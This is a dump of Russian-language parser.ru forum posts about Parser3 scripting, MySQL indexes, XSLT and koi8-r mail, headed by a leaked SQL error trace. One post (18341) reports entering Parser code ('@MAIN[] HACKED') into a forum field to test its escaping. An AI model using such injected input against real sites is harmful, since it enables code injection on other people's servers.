SELECT forum_message.forum_message_id AS id, forum_message.parent_id, forum_message.thread_id, forum_message.name, forum_message.author, forum_message.auser_id AS user_id, forum_message.is_published, forum_message_body.forum_message_id AS is_not_empty, forum_message.dt_published, DATE_FORMAT(dt_published, '%d.%m %H:%i') AS dt, DATE_FORMAT(dt_published,'%d') AS dt_day, MONTH(dt_published) AS dt_month, YEAR(dt_published) AS dt_year, DATE_FORMAT(dt_published, '%H:%i') AS dt_time , DATE_FORMAT(dt_update, '%d.%m %H:%i') AS dt_update, DATE_FORMAT(dt_update,'%d') AS dt_update_day, MONTH(dt_update) AS dt_update_month, YEAR(dt_update) AS dt_update_year, DATE_FORMAT(dt_update, '%H:%i') AS dt_update_time , IF(DATE_SUB(CURDATE(),INTERVAL 1 DAY) <= forum_message.dt_update, 1, 0) AS is_new, TO_DAYS(dt_published) - TO_DAYS(CURDATE()) AS is_today, IF(dt_published <dt_update,1,0) AS is_updated , forum_message.is_closed FROM forum_message IGNORE INDEX (ix_forum_message_6) LEFT JOIN forum_message_body ON (forum_message.forum_message_id = forum_message_body.forum_message_id) WHERE forum_message.forum_id = 1 AND forum_message.parent_id = 0 AND forum_message.is_published = 1 ORDER BY forum_message.dt_published DESC \
\
/home/www/parser/parser/www//../data/classes/sql.p(86)\
exception.type=sql.execute \
--------------------------------------------------------------------------------\
sql /home/www/parser/parser/www//../data/classes/sql.p(86)\
sql_code /home/www/parser/parser/www//../data/classes/sql.p(55)\
if /home/www/parser/parser/www//../data/classes/sql.p(40)\
_sql /home/www/parser/parser/www//../data/classes/sql.p(86)\
switch /home/www/parser/parser/www//../data/classes/sql.p(84)\
code /home/www/parser/parser/www//../data/classes/common/lib.p(410)\
if /home/www/parser/parser/www//../data/classes/common/lib.p(410)\
run_time /home/www/parser/parser/www//../data/classes/sql.p(83)\
sql /home/www/parser/parser/www//../data/classes/forum/forum.p(318)\
getMessages /home/www/parser/parser/www//../data/classes/forum/forum.p(1167)\
if /home/www/parser/parser/www//../data/classes/forum/forum.p(1164)\
if /home/www/parser/parser/www//../data/classes/forum/forum.p(1162)\
if /home/www/parser/parser/www//../data/classes/forum/forum.p(1160)\
printMessagesByParent -body of process-(88)\
if -body of process-(55)\
if -body of process-(52)\
main /home/www/parser/parser/www//../data/classes/engine.p(1448)\
trim /home/www/parser/parser/www//../data/classes/engine.p(1448)\
if /home/www/parser/parser/www//../data/classes/engine.p(1446)\
executeProcess /home/www/parser/parser/www//../data/classes/engine.p(591)\
parseBlock_data /home/www/parser/parser/www//../data/classes/engine.p(591)\
if /home/www/parser/parser/www//../data/classes/engine.p(585)\
if /home/www/parser/parser/www//../data/classes/engine.p(582)\
if /home/www/parser/parser/www//../data/classes/engine.p(581)\
menu /home/www/parser/parser/www//../data/classes/engine.p(580)\
if /home/www/parser/parser/www//../data/classes/engine.p(578)\
processBlocks /home/www/parser/parser/www//../data/classes/engine_parser.p(127)\
if /home/www/parser/parser/www//../data/classes/engine_parser.p(127)\
if /home/www/parser/parser/www//../data/classes/engine_parser.p(119)\
executeBlocks /home/www/parser/parser/www//../data/classes/engine.p(1103)\
data /home/www/parser/parser/www//../data/classes/engine.p(1076)\
pagePreProcess /home/www/parser/parser/www//../data/classes/engine.p(1102)\
defaultPage -body of process-(2)\
main /home/www/parser/parser/www//../data/classes/engine.p(1448)\
trim /home/www/parser/parser/www//../data/classes/engine.p(1448)\
if /home/www/parser/parser/www//../data/classes/engine.p(1446)\
executeProcess /home/www/parser/parser/www//../data/classes/engine.p(899)\
if /home/www/parser/parser/www//../data/classes/engine.p(897)\
if /home/www/parser/parser/www//../data/classes/engine.p(896)\
execute /home/www/parser/parser/www/_doc.html(63)\
body /home/www/parser/parser/www//../data/classes/mysql.p(34)\
connect /home/www/parser/parser/www//../data/classes/mysql.p(34)\
server /home/www/parser/parser/www/_doc.html(61)\
cache /home/www/parser/parser/www/_doc.html(59)\
"
"18232","... пришлось руками ему указывать, какой индекс он не должен брать, и приводить индексы к одному виду на сервере разработки и тут..."
"18233","может кто не знает, и эта информация ему будет полезна\
\
1. у mysql 3.23.xx есть баг, из-за которого он не использует нормально индексы. проявляется, например в такой ситуации:\
есть таблица\
[code]\
CREATE TABLE test (\
	col_a INT(10) NOT NULL,\
	col_b INT(10) NOT NULL,\
	col_c DATETIME NOT NULL,\
	...\
)\
[/code]\
\
у этой таблички есть индекс:\
[code]\
CREATE INDEX ix_text_0 ON test (\
	col_a,\
	col_b,\
	col_c\
)\
[/code]\
\
так вот, запрос вида:\
[code]\
SELECT\
	...\
FROM\
	test\
WHERE\
	col_a = 1 AND\
	col_b = 2 \
ORDER BY\
	col_c\
LIMIT\
	10\
[/code]\
замечательно использует этот индекс и результат получаем мгновенно, однако запрос:\
[code]\
SELECT\
	...\
FROM\
	test\
WHERE\
	col_a = 1 AND\
	col_b = 2 \
ORDER BY\
	col_c [b]DESC[/b]\
LIMIT\
	10\
[/code]\
который согласно доке должен так-же замечательно использовать этот индекс, его просто игнорирует, \
и ждать результата приходится вечность (если записей в табличке много).\
\
Пофиксено это только у какой-то версии mysql 4.0...\
\
Так что имейте ввиду, это достаточно частые запросы (\"показать последние сообщения в форуме\",\
\"показать последние новости\"...)\
\
"
"18234","- в FAQ-е появились разделы\
- архив новостей\
- некоторые изменения в форуме и механизме авторизации (список последних сообщений, более привычная постраничная навигация, изменен механизм разбивки на страницы [они теперь стоят на месте], большие внутренние изменения) \
\
\
что появится в ближаешее время (кроме новых парсеров, о которых писал ПАФ):\
\
- подписка на новости\
- голосования\
- persistent login (не на сессию, а на долго)\
- так, разные мелочи в форуме...\
"
"18235","я глюков не вижу.\
визуально даже быстрей рендер страницы идет. рад - :)"
"18236","http://www.reactorartgroup.com/matrix/\
конвертер фалов JPEG \"a-la Matrix\".\
Блин, хочу такой себе. ;)"
"18239","А по какому принципу отмечаются красным даты сообщений? За последние 2 дня?"
"18242","К сожалению в доке я ненашёл, если эта информация в доке есть, покажите где это\
\
@getMessageById[id] - непонимаю что в квадратных скобках, как туда засунуть и как использовать?\
@printMessagesByParent[messages;parent_id][levelmessages] - почму две квадратные скобки?\
^MAIN:pSQL.left_join[] - что означает pSQL и left_join?\
\
\
Заранее благодарю"
"18243","1. id в квадратных скобках - уникальный идентификатор сообщения. Засунуть можно, например, из query - $form:id - наглядно это на этом форуме (/forum/?id=xxxxx)\
\
2. две скобки - RTFM. первая - параметры метода, вторая - объявленные внутренние переменные.\
pSQL - экземпляр класса [url=http://www.parser.ru/examples/comp/]mysql.p[/url], left_join - метод этого класса. Более подробно - см. исходники класса."
"18244","Вот пример кода\
\
@printMessagesByParent[messages;parent_id][levelmessages] #Как используетсся levelmessages; ятак понял messages задаётся в другом месте и является таблицей\
$levelmessages[^messages.select($messages.parent_id == $parent_id)] #$parent_id в этой строке и parent_id в квадратных собках это одно и тоже?\
^levelmessages.menu{\
	^printTreeItem[$levelmessages.fields;^printMessagesByParent[$messages;$levelmessages.forum_message_id]]\
}\
\
Если возможно опишите, что происходит в этом коде\
Автор пишет:\
Метод построения древовидной структуры, рекурсивно вызывающий себя\
\
"
"18245","почти всё идёт одной строкой, не так как раньше.\
\
Вот интересно, это фича нового Парсера, или просто хитрый матч в постпроцессе?\
"
"18247","Метод получает как параметры таблицу с сообщениями (messages) и ид родителя (parent_id), выбирает из исходной таблицы только сообщения с актуальным в данный момент parent_id и складывает их в новую таблицу (levelmessages) содержимое которой в последствии выводит (менюшит), на каждой интерации цикла пробуя вызвать самого себя, передавая в качестве ид'а родителя ид текущего сообщения.\
\
А ответ на ваши вопросы есть в документации, \"Конструкции языка Parser3\" -> \"Определение методов и пользовательских операторов\".  "
"18249","...с момента последнего логина (это скорее всего глючит, после апгрейда не проверял)..."
"18251","Перешёл на Opera, мышкой вверх, вниз, и не каких ссылок, тянутся до F5 не надо..."
"18252","пробую такой код(из доки):\
[code]\
$document[^xdoc::create[ment]]\
\
$paraNode[^document.createElement[para]]\
\
$addedNode[^document.documentElement.appendChild[$paraNode]]\
\
$paode[^document.createElement[demb]]\
\
$Attr[^document.createAttribute[name]]\
$Node[^paraNode.appendChild[$paode]]\
\
$response:body[^document.string[]] \
[/code]\
\
Как я понял [code]$Attr[^document.createAttribute[name]][/code] создает узел Attribute с именем name.\
\
А как сделать чтоб в каком-нибудь элементе на выходе отобразился созданный атрибут?"
"18254","Мне нужно создать раздел новостей, чтоб на главной странице этого раздела из базы данных брались новости (все новости), только за текущий год и выводились на страницу.\
\
Мне существенно помогла статья в примерах, о taint/untaint которую написал Misha v.3, я взял код вывода новостей и доработал под себя\
\
\
$now[^date::now[]]\
\
^connect[$connect_string]{\
$news[^table::sql{\
        SELECT\
                date,\
                year,\
                body\
        FROM\
                news\
        WHERE\
                year = $now.year\
}[$.limit(100000)]]\
\
^untaint[as-is]{\
\
\
$news.body<br />\
$news.date $news.year года\
    }\
}\
\
но на страницу выводится лишь последняя запись в БД.\
\
А еще мне нужно, чтоб на главную страницу сайта выводились, скажем, три последние новости из БД.\
\
Подскажите, пожалуйста, как это всё можно было-бы сделать.\
\
Заранее, благодарю.  "
"18255","Код писать не буду лишь подскажу, нужно выбрать всего 3 последних записи, для это понадобится LIMIT и сортировка по убыванию ORDER BY DESC. (MySQL [url=\"http://www.mysql.com/doc/ru/index.html\"]документация[/url] на родном языке)"
"18256","попробуй так может получится:\
[code]\
$now[^date::now[]]\
\
^connect[$connect_string]{\
$news[^table::sql{\
SELECT\
date,\
year,\
body\
FROM\
news\
WHERE\
year == $now.year\
ORDER BY date DESC\
}[$.limit($last_five)]]\
\
[/code]"
"18258","почитал на форуме про размещение информации на сайте - все советуют размещать информацию в базе. Но возникло пару вопросов:\
1. Где лучше размещать картинки - тоже в базе  или отдельно (кстати как,  просто делать на них ссылки?)\
2. Не очень понял,в чём удобство размещения информации в базе -  в смысле  занесения её туда. У меня на сервере есть только phpmyadmin - а через него заносить не очень удобно. Правильно я понимаю,  что придётся писать админовский интерфейс?"
"18259","1. Картинки лучше размещать в файлах отдельно. (но не кто не запрещает хранить в БД)\
\
2. Удобно тем, что работу по хранению, извлечению или обновлению информации СУБД берёт на себя, легко написать нужную инструкцию. СУБД создаёт индексы, с помощью них осуществляется быстрый поиск информации (представь, если таблица содержит тысячи записей, файл в которой хранится вся эта информация весит 128Mb, Парсеру просто не под силу будет всё это загрузить и обработать, СУБД лишь только определяет место в файле где хранится запрошенная информация и считывает только её). Ну а куда деваться, интерфейс админестратора предётся писать в любом случае если хочешь быстро и удобно добавлять/удалять/обновлять записи."
"18260","- если это контент сайта, объем которого измеряется в мегабайтах, то держать его, например в одном файле - будет очень напряжно для сервера (при каждом обращении надо считать все, найти нужно и т.д.)\
\
- то, что лежит в БД доставать можно кучей разных способов, в зависимости от того, какая информация нужна сейчас. например, мы положили в БД новости. при этом сервер баз данных позволит нам написать простой запрос и получить список месяцов/годов, за которые эти новости есть. при размещении в файликах придется это делать ручками, считывая все поочереди и ковыряясь в датах. таким ображом, размещение в БД это не просто изменение места расположения данных, это существенное увеличение функциональности.\
\
- для того, чтобы удобо работать с данными, для каждого типа данных нужен свой интерфейс. вы верно заметили, что используя универсально средство, делать что-либо конкретное неудобно. для удобства нужно написать свой интерфейс.\
\
- картинки в БД пихать не нужно. сервер БД эффективно делает поиск информации, выборки небольших объемов данных, но когда речь заходит об оперировании файлами - то тут он справляется хуже, и в документации MySQL рекомендуется не хранить их там. картинки можно привязывать, например к БД следующими способами:\
\
1. добавляем/изменяем запись\
2. извлекаем last_insert_id только что добавленой записи, или id изменяемой\
3. загружаем картинку, кладя её в определенный каталог, но изменяя её имя файла так, чтобы оно содержало полученое id\
4. имя картинки в БД не пишем\
в этом способе можно к одной записи добавить одну картинку (он расширяется)\
\
или:\
1. в таблице добавляем поле для хранения полного имени картинки\
2. при добавлении картинки к записи закачиваем картинку на сервер (сами занимаемся раскладыванием файлов в разные места, чтобы могли существовать 2 файла с одинаковыми именами)\
3. записываем в добавленное поле таблицы полное имя файла\
\
P.S. это не единственные способы, я использую сильно модифицированный первый и модифицированный второй вместе. каждый подходит мне для решения своей задачи."
"18261","Спасибо всем за советы.\
Насчет полей date и year:\
Мне нужно, чтоб на сайте формат даты был такой:\
\
6 июля 2003 года\
\
Поэтому в поле date у меня тип данных text, там хранятся даты типа \
\
6 июля\
\
А в поле year тип данных year и там хранится год.\
\
Спасибо Roman'у Grudzinski за ссылку на русскую документацию по MySQL. Только насчет советов о ^news.menu и функции YEAR() я не понял.\
\
Также я попробовал поменять формат даты в БД на обычный (в смысле, что теперь дата имеет тип данных date и вид 0000-00-00),\
но код который подсказал мне Artem не помог, все равно выдается, только одна новость.\
\
Сейчас подчитаю доки по MySQL, попробую воспользоватся советом Roman'а Grudzinski о LIMIT и сортировки по убыванию ORDER BY DESC.\
\
Вот, вроде все. Если у кого ещё есть советы, напишите,  пожалйста, весьма буду вам признателен :-)  "
"18262","http://www.parser.ru/examples/date/"
"18263","Ваш SQL-запрос получает таблицу со значениями. Для того чтобы перебрать все строки этой таблицы можно использовать метод menu:\
[code]\
 ^news.menu{\
   $news.date<br />\
   ^untaint[as-is]{$news.body}\
 }[<br />]\
[/code]\
\
Иначе Вы просто выводите первую строчку таблицы...\
\
Вот про это Вам и говорили..."
"18267","когда много однотипной информации,  я понял,  нужно делать все в базе.\
А вот,  к примеру, информация на design.ru хранится в  базе? Или  нет? Понятно, что новости лежат в базе,  а вот содержание всех  остальных страниц какой смысл помещать в базу? Их ведь там не оочень много (не больше пары сотен :)\
насколько я понимаю, можно хранить ддизайн в классах и всяких  там методах, а  содержание каждой страницы хранить в  ней самой.  \
\
С другой стороны\
\
"
"18268","... с ддругой стороны там ведь наверняка ииспольуется mod_rewrite, а в таком сллучае все наверно, лучше действительно хранить в базе"
"18269","Imprimatur - слышал о такой штуке? И этот сайт тоже вроде использует его..."
"18270","Небольшая проблемка:\
Как Parser распознает перевод строки?\
Если не сложно напишите скрипт который будет заменять 'перевод строки' 'пробелом'. Короче мне нужно весь текст вывести одной строчкой."
"18271","http://www.parser.ru/faq/howto/"
"18272","Это я писал, каким образом Vovan'ом стал не врубаюсь... Типа глюки :)"
"18273","1. Всю информацию о наших ссылках будем хранить в одном файле, что позволит впоследствии вносить необходимые изменения только в нем. В корневом каталоге будущего сайта создаем файл sections.cfg, в который помещаем следующую информацию: \
\
============================================================\
\
как эту информацию нужно копировать в файл?"
"18274","Поиск на форуме есть, за 1.5 (примерно) года существования Парсера на этот вопрос много раз отвечали."
"18275","Народ разьясните плз что-то я не пойму как передавать параметр в переменную через адрес в командной строке... что-то я сам запутался в своем вопросе. Попробуем подругому:\
Я немогу понять как действует такая фишка http://mihost/links/?page=xxxx\
\
в /links/auto.p такой код\
\
@LinksPage[page]\
$lp[^table::load[$page]]\
<h1>$page</h1>\
....\
\
в /links/index.htm\
^LinksPage[page]\
\
Набираю http://mihost/links/?page=home выдает ошибку\
если ^LinksPage[page] заменить на ^LinksPage[home] все работает.\
\
Я понял что page передается как имя а не как переменная\
Как сделать правильно? и как page присвоить значение поумолчанию?\
Долго искал чтото похожее, но так и неразобрался. Помогите начинающему.\
\
\
"
"18276","Почему то все сообщения написанные кем либо без прохождения авторизации, становяться сообщениями vavan'a...\
\
Включая весь архив форума...\
\
[code]\
Top10 писателей \
vavan 7337 (41.50 %) \
Александр Петросян (PAF) 1643 (9.29 %) \
Misha v.3 1422 (8.04 %) \
Luzhnikovskiy 723 (4.09 %) \
egr 662 (3.74 %) \
Sumo 405 (2.29 %) \
agat 293 (1.66 %) \
Constantine 277 (1.57 %) \
Cep}|{ 266 (1.50 %) \
Павел Титов 259 (1.47 %) \
[/code]\
\
Надеюсь что это не из-за изменения имен пользователей в БД...\
А то без дампа форума будет не восстановить истинные имена писателей, если он имеется..."
"18283","А так же на странице с заглавной документацией слева форма поиска без текстового поля..."
"18284","есть документ XML подобного вида:\
<article id=\"583\">\
<title>Название статьи</title>\
<content>Текст статьи</content>\
</article>\
\
Стоит задача сформировать URL вида \"http://servername/feedback/?article=583\"\
\
Есть ли способ сделать это используя XSLT?\
Или же проще добавить к <article id=\"583\"> еще один атрибут с готовым URL?"
"18286","Играясь с XSLT обнаружил, что наткнувшись на подобную строку в XSLT шаблоне,\
[code]\
<xsl:apply-templates name=\"content\"/>\
[/code]\
Парсер обработает ее без сообщения об ошибке. Результат понятное дело будет непредсказуемый :)\
Используется парсер собранный из CVS HEAD. У всех парсер ведет подобным образом или у меня libxml2 библиотеки кривые?\
"
"18288","алгоритм работы простой...\
из jpeg сделать greyscale"
"18290"," Было написано, что \"Установка парсера 3 на valuehost:\
1. к сожелению придеться скачать небезопосную версию:\".\
\
Что это значит и как это отразится на собственно безопасности, стоит ли игра свеч...? Прошу прощения за элементарные вопросы..новичек я пока :(\
Заранее благодарен!"
"18294","[code]\
<xsl:template match=\"article\">\
...\
<a href=\"http://servername/feedback/?article={@id}\">url</a>\
...\
</xsl:template>\
[/code]"
"18296","создал я класс\
@CLASS\
myclass\
\
@load[]\
$list[^table::sql{select * from mytable}]\
\
\
потом из index.html дедаю так\
$mylist[^myclass::load[]]\
\
^mylist.menu{...} - на это строчку парсер ругается\
это так надо или я чего-то не правильно делаю?\
"
"18297","^mylist.list.menu{...}\
\
но это нехороший способ работать в данными объекта.\
\
рекомендуется написать метод класса, который тебе сделает что нужно... метод будет работать со \"своими\" переменными - переменными объекта."
"18299","Огромное спасибо за помощь!"
"18300","Работающий не до функциональный вариант\
\
[code]@ansver[id;tred]\
<FORM method=\"post\" action=\"/forum/add_message.html\">\
<INPUT TYPE = BUTTON Value = \"Ответить\" onClick = \"ShowWindow()\">\
</FORM>\
<SCRIPT LANGUAGE = JavaScript>\
        function ShowWindow()\
		{window.open(\"/forum/add_message.html?htitle=Попробуйте ответить&id=$id&tred=$tred\",'ansver','resizable=0,status=0,scrollbars=0,width=530,height=280');}\
</SCRIPT>[/code]\
\
\
Не работающий варинт с нужным набором функций\
[code]@ansver[id;tred]\
<FORM method=\"post\" action=\"/forum/add_message.html\">\
<INPUT TYPE = BUTTON Value = \"Ответить\" onClick = \"ShowWindow$id()\">\
</FORM>\
<SCRIPT LANGUAGE = JavaScript>\
        function ShowWindow$id()\
		{window.open(\"/forum/add_message.html?htitle=Попробуйте ответить&id=$id&tred=$tred\",'ansver','resizable=0,status=0,scrollbars=0,width=530,height=280');}\
</SCRIPT>[/code]\
\
Разница в имени ф-ции js\
было: ShowWindow()\
стало: ShowWindow$id()"
"18302","как я понял, это что-то типа ответов в форуме на сообщения.\
\
добавлять кучу <script ...></script> где будет одинаковая функция с разными именами - нехорошо.\
\
по моему стОит добавить эту функцию один раз и при втыкании в месте её вызова кода передавать ей id... а она чтобы в зависимости от этого id все разруливала...\
\
что-то вроде этого:\
[code]\
<SCRIPT LANGUAGE = JavaScript>\
        function ShowWindow(id)\
{window.open(\"/forum/add_message.html?htitle=Попробуйте ответить&tred=$tred&id=\"+id,'answer','resizable=0,status=0,scrollbars=0,width=530,height=280');}\
</SCRIPT>\
[/code]\
"
"18303","Спасибо, попробую\
(Как мне кажется мой код полон таких недоделок)"
"18308","согласно представленой на этом сайте [url=\"/docs/lang/obj.htm\"]документации[/url] имеем:\
[quot]\
Примечание: результат работы конструктора - созданный объект, обычный результат работы метода игнорируется (никуда не попадает). [/quot]\
\
что в общем логично. конструктор возвращает созданый объект."
"18311","больше тестеров - больше найденных глюков"
"18312","просто в форуме есть блокировка этого... так что я с трудом верю, что такое произошло."
"18313","Как, кстати, блокировка реализована?"
"18314","Пожалуйста!\
Не шлите на поиск по форуму (мне это не поможет)!\
Просто приведите работающий [code]кусочек кода[/code] по отсылке почты в кодировке koi-8!!!\
За два года я раз 5 спрашивал здесь, но так и не научился... %((\
У меня IIS."
"18315","Документация :\
\
\
charset - если задан этот ключ, то заголовок и текстовые блоки сообщения будут перекодированы в указанную кодировку. По умолчанию сообщение отправляется в кодировке, заданной в $request:charset (т.е. не перекодируется). \
\
[code]\
Пример: \
$.charset[koi8-r] \
[/code]"
"18316","[code]\
^mail:send[\
      $.charset[koi8-r]\
      $.from[Вася <vasya@hotmail.ru>] \
      $.to[Петя <petya@hotmail.ru>] \
      $.subject[как дела] \
      $.text[ДОКИ]\
] \
[/code]\
\
Слово \"ДОКИ\" приходит как \"ДНЙХ\". Кодировка письма в outlook express автоматом ставится в koi-8. Но вот письмо приходит в win."
"18317","[code]\
^mail:send[\
      $.content-type[ \
        $.value[text/plain]  \
        $.charset[koi8-r] \
      ] \
      $.charset[koi8-r] \
\
      $.from[Вася <vasya@hotmail.ru>] \
      $.to[Петя <petya@hotmail.ru>] \
      $.subject[как дела] \
      $.text[\
        $.charset[koi8-r]\
        $.value[ДОКИ]\
      ]\
] \
\
[/code]"
"18318","Все равно приходит в WIN. 2 года уже долбусь... 100 вариантов перепробовал... Не получается.\
На всякий случай:\
[code]\
^mail:send[\
      $.content-type[ \
        $.value[text/plain]  \
        $.charset[koi8-r] \
      ] \
      $.charset[koi8-r] \
\
      $.from[site <site@site.com>] \
      $.to[you <$ml.1>] \
      $.subject[$form:subject] \
      $.text[\
        $.charset[koi8-r]\
        $.value[$form:text]\
      ]\
]\
[/code]"
"18319","и с ним и без него поиск ищет только по темам сообщений."
"18322","1. очень желательно указывать версию парсера, ибо она \"за 2 года\" (странно, как это, 3 парсеру всего чуть больше года... вроде в апреле 2002 года вышел) достаточно сильно изменилась.\
\
2. желательно указывать что прописано в request/response:charset, и соответственно в каких кодировках лежит текст в коде страничек\
\
3. желательно пустить _test.html и посмотреть, обрабатывается ли парсером конфигурационный файл с установленными кодировками и находятся ли сами файлы с кодировками (и можно показать результаты его работы, причем прописать абсолютные пути, чтобы тест смог найти файлы)\
\
4. кто такое кодировка koi-8? я лично такой не знаю. знаю koi8-r, koi8-u... может минус не там пишите?\
\
5. чем смотрите содержимое письма? что прописано в его заголовках? copy/paste рулит.\
\
P.S. с момента выхода пользую отправку писем в koi8-r, с этого форума тоже все уходит в ней, при этом файлики в 1251. у меня все работает согласно документации."
"18324","1. Parser 3.0.0007 собраный из CVS под FreeBSD 4.6\
\
2. request/response - windows-1251. Все лежит в win-1251\
\
3. Кодировки цепляются точно.\
\
4. Код такой:\
[code] ^mail:send[\
    $.charset[koi8-r] \
    $.from[$form:email]\
    $.to[^mails.menu{<$mails.email>}[ ]]\
    $.subject[$subject]\
    $.text[\
      $.charset[koi8-r] \
      $.value[\
       Имя: $form:name\
       Email: $form:email\
\
       ^if(def $form:company){Компания: $form:company}\
       ^if(def $form:city){Город: $form:city}\
       ^if(def $form:phone){Телефон: $form:phone}\
\
       ^if(def $form:text){$form:text}\
      \
       ---------------------------------\
       IP: $env:REMOTE_ADDR\
      ]\
    ]\
 ]  \
[/code]\
\
5. Заголовки:\
[code]\
Date: Tue, 8 Jul 2003 11:52:50 +0400 (MSD)\
Message-Id: <200307080752.h687qoi5026959@td.proc.ru>\
X-Authentication-Warning: td.proc.ru: www set sender to oleg@proc.ru using -f\
subject: =?koi8-r?Q?=F0=C9=D3=D8=CD=CF_=CF=D4=D0=D2=C1=D7=CC=C5=CE=CF_=D3_=D3=C1=CA=D4=C1_?=parnas.proc.ru\
from: oleg@proc.ru\
to: <sumo@proc.ru>\
errors-to: postmaster@td.proc.ru\
MIME-Version: 1.0\
content-type: text/plain; charset=koi8-r\
[/code]\
\
p.s. До этого пускал все в win-1251. Сейчас проверил и выяснилось, что тело письма по-любому в win1251 приходит..."
"18325","А посему если я ниже где-то напишу \
[code]\
<xsl:template match=\"content\"> \
....\
<xsl:template>\
[/code]\
То парсер об этом деликатно промолчит, но результат преобразования будет неверным. Сам невзначай наступил на эти грабли :), понял в чем дело только когда попробовал трансформировать XML с помощью SAXON."
"18326","1. очень желательно указывать версию парсера, ибо она \"за 2 года\" (странно, как это, 3 парсеру всего чуть больше года... вроде в апреле 2002 года вышел) достаточно сильно изменилась.\
\
Parser/3.0.0007\
\
2. желательно указывать что прописано в request/response:charset, и соответственно в каких кодировках лежит текст в коде страничек\
\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
Я делаю тестовую страничку отправки почты. сама страница в Win.\
\
3. желательно пустить _test.html и посмотреть, обрабатывается ли парсером конфигурационный файл с установленными кодировками и находятся ли сами файлы с кодировками (и можно показать результаты его работы, причем прописать абсолютные пути, чтобы тест смог найти файлы)\
\
Все работает.\
\
4. кто такое кодировка koi-8? я лично такой не знаю. знаю koi8-r, koi8-u... может минус не там пишите?\
\
пишу koi8-r (кусок кода в другой ветке)\
\
5. чем смотрите содержимое письма? что прописано в его заголовках? copy/paste рулит.\
\
Отправляю в теле письма \"ДОКИ\" - outlook сам выбирает кодировку koi8-r (тоесть он понял, что письмо в кодировке koi8-r) и показывает \"ДНЙХ\". Меняем руками кодировку в outlooke на win - получаем \"ДОКИ\" - вывод: тело письма пришло в WIN. С заголовком все в порядке - заголовок приходит в koi8-r.\
\
P.S. с момента выхода пользую отправку писем в koi8-r, с этого форума тоже все уходит в ней, при этом файлики в 1251. у меня все работает согласно документации."
"18327","http://www.parser.ru/forum/?id=14127\
http://www.parser.ru/forum/?id=14128"
"18328","обошел её только так:\
[code]\
^mail:send[\
	$.charset[koi8-r] \
	[b]$.content-type[ \
		$.value[text/plain]  \
		$.charset[koi8-r] \
	][/b]\
 	$.from[misha@localhost.ru]\
	$.to[misha@localhost.ru]\
	$.subject[заголовок сообщения]\
	$.[b]body[/b][тело сообщения]\
]  \
[/code]\
\
точно такой-же [url=\"/forum/?id=11548\"]ответ[/url] вам давал ПАФ:\
[quot]\
[b]есть ощущение, что это bug. разберусь, сообщу[/b]\
отправляйте пока старым способом, через $.body, и сами задавайте и $.charset и $.content-type[$.value[text/plain] $.charset[koi8-r]]\
[/quot]\
\
при этом я проверил, что данная проблема в грядущей версии парсера устранена.\
\
P.S. я издавна пользовался $.body[] с заданием заголовков и кодировки, посему проблему не видел.\
"
"18331","http://www.parser.ru/forum/?id=18318"
"18332","^mail:send[\
      $.content-type[ \
        $.value[text/plain]  \
        $.charset[koi8-r] \
      ] \
      $.charset[koi8-r] \
\
      $.from[site <site@site.com>] \
      $.to[you <$ml.1>] \
      $.subject[$form:subject] \
      $.body[$form:text]\
]\
\
Работает!"
"18333","[code]\
^mail:send[\
      $.content-type[ \
        $.value[text/plain]  \
        $.charset[koi8-r] \
      ] \
      $.charset[koi8-r] \
\
      $.from[site <site@site.com>] \
      $.to[you <$ml.1>] \
      $.subject[$form:subject] \
      $.body[$form:text]\
]\
[/code]\
"
"18334","...и если что не так, сообщать... я видел, что вы что-то сообщили, но декодировать я ваше сообщение не смог. думаю, что вы после постинга могли бы заметить, что оно нормально не было отправлено."
"18336","Допустим, я хочу описать структуру страниц \"по умолчанию\" в auto.p, а главную страницу вообще оставить пустой.\
Однако, чтобы это работало, нужно переопределить хотябы одну из функций в коде страницы. Иначе никак?"
"18337","Вот и будет полностью пустая страница.\
\
[i]...нужно переопределить хотябы одну из функций в коде...[/i] - это вы где вычитали?"
"18338","Не переопределена, а просто определена.\
\
Насколько я успел заметить, html-страница просто пропускается через парсер без какой-либо обработки кода, если она начинается не с объявления метода, то есть, со знака @.\
\
То есть, первыми двумя строками можно определить на странице какой-либо метод, и тогда подсосется и auto.p и прочие блага."
"18339","...не определен ни один метод, то все содержимое страницы считается объявлением @main[], который и выполняется, даже если там всего лишь один символ: пробел/перевод строки/конец файла.\
\
мне кажется, что если задача такова, что вы планировали создавать пачку пустых страниц, то стОит посмотреть в сторону mod_rewrite..."
"18340","Переопределить надо @MAIN\
Рабочий пример\
\
[code]@main[]\
<html>\
<head>\
<title>title</title>\
</head>\
<body>\
<h1>Body</h1>\
</body>\
</html>[/code]"
"18341","в форуме я сделал таблицу замен и на выходе делал ^taint[as-is][что-то там]\
по скольку таблица замен вероятно не полная -всез дыр не закрывает, я попытался взломать посмотреть что получится\
\
Ввёл\
@MAIN[]\
HACKED\
\
В результате упал не только мой хост но и сервер вообще т.к. он даже не пингуется\
Это моя работа или я преувеличиваю свои возможности"
"18342","Что не так?\
У меня сайт работает нормально, а в апачевский лог записываются варнинги тех страниц которые работают нормально.? \
Сообщение:\
\
[Tue Jul 08 15:38:17 2003] [warn] [client 192.168.0.53] handler \"parsed-html\" not found for: d:/home/iflab/weather.html"
"18343","возможно все что угодно."
"18345","...или поддался сам лёг ;)"
"18348","поставьте новую версию Apache, проблема должна разрешиться."
"18351","Вот и меня \
\
http://spearance.ru/parser3/gallery/view/?p_no=31\
"
"18352","А зачем это надо?"
"18353","Пытаюсь для централизации управления внещним видом сделать форму\
\
Собственно сами шаблоны(лишнее вырезал)\
[code]@url[url; text]\
<a href=\"$url\">$text</a>\
\
@show_messages[hurl; head; date; nurl; body]\
<table>\
  <tr>\
    <td><h3>^url[$hurl; $head]</h3></td>\
    <td>$date</td>\
  </tr>\
  <tr>\
    <td colspan=\"2\">^url[$nurl; $body]</td>\
  </tr>\
</table>[/code]\
\
дальше пытаюсь вызвать примитивнывным образом\
[code]^show_messages[/test/; Заголовок; 08.07.03; /news/; Ура работает.][/code]\
\
В HTML вижу:\
[code]\
<table>\
 <tr>\
  <td><a href=\"/test/\"></a></td>\
  <td></td>\
 </tr>\
 <tr>\
  <td colspan=\"2\"><a href=\"\"></a></td>\
</tr>\
</table>\
[/code]\
\
Что я сделал не так?\
Заранее благодарю."
"18356","Подскажите, пожалуйста, может кто-то знает где в интернете есть хорошее руководство по XML, XSLT и DOM.\
А может кто-то знает хорошую книгу по XML, XSLT и DOM.\
Мне стали интересны эти хорошие и удобные стандарты, тем более, что Парсер может работать с ними, я хотел бы изучить их поподробнее.\
\
Заранее благодарю."
